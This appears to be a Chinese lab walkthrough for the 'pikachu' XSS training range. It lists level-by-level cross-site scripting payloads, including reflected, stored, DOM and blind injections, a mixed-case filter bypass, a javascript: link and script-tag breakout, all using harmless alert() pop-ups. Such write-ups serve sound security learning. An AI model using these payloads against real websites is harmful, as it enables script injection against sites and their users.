pikachu-XSS闯关挑战

get

复制代码
message=<script>alert("123")</script>&submit=submit

post

可以暴力破解账号密码,但由于是XSS练习,点右上角的提示,就可以登陆

直接在输入框中输入

复制代码
<script>alert("123")</script>

存储型

复制代码
<script>alert("123")</script>

DOM

随意输入可以看到提示

进入源码找到提示,将标签闭合

复制代码
' onclick="alert('123')"

xss-x

同样的语句,链接点两次

盲打

在留言板输入,发现没有变化,在提示中看到登陆后台

复制代码
<script>alert("456")</script>

在后台可以看到弹窗

过滤

输入发现被过滤

大小写混合,成功

复制代码
<SCriPt>alert("123")</sCrIPt>

html

可以看到源码时链接

输入

复制代码
javascript:alert(/xss/)

href

输入上一个,点击链接即可

js输出

看到源码是一个script语句,将前面的闭合,再写一个新的弹窗

复制代码
</script><script>alert("123")</script>
相关推荐
无名的小三轮10 分钟前
华为eNSP中USG6000防火墙web界面登录设置
网络·笔记·安全·web安全·华为
AI视觉网奇15 分钟前
ue 5.5 c++ mqtt 订阅/发布 json
网络·c++·json
ArrebolJiuZhou21 分钟前
03 rtp,rtcp,sdp的包结构
linux·运维·服务器·网络·arm开发
txinyu的博客23 分钟前
解析muduo源码之 StringPiece.h
开发语言·网络·c++
REDcker32 分钟前
WebSocket 协议详解 (RFC 6455)
网络·websocket·网络协议
浔川python社38 分钟前
《C++ 小程序编写系列》(第六部)
java·网络·rpc
23124_8041 分钟前
HTTPS中间人攻击
网络·网络协议·https
小毅&Nora1 小时前
【Java线程安全实战】⑭ ForkJoinPool深度剖析:分治算法的“智能厨房“如何让并行计算跑得更快
java·算法·安全
小风呼呼吹儿1 小时前
Flutter 框架跨平台鸿蒙开发 - 倒计时秒表:打造多功能计时工具
网络·flutter·华为·harmonyos
河码匠1 小时前
namespace 网络命名空间、使用网络命名空间实现虚拟路由
linux·网络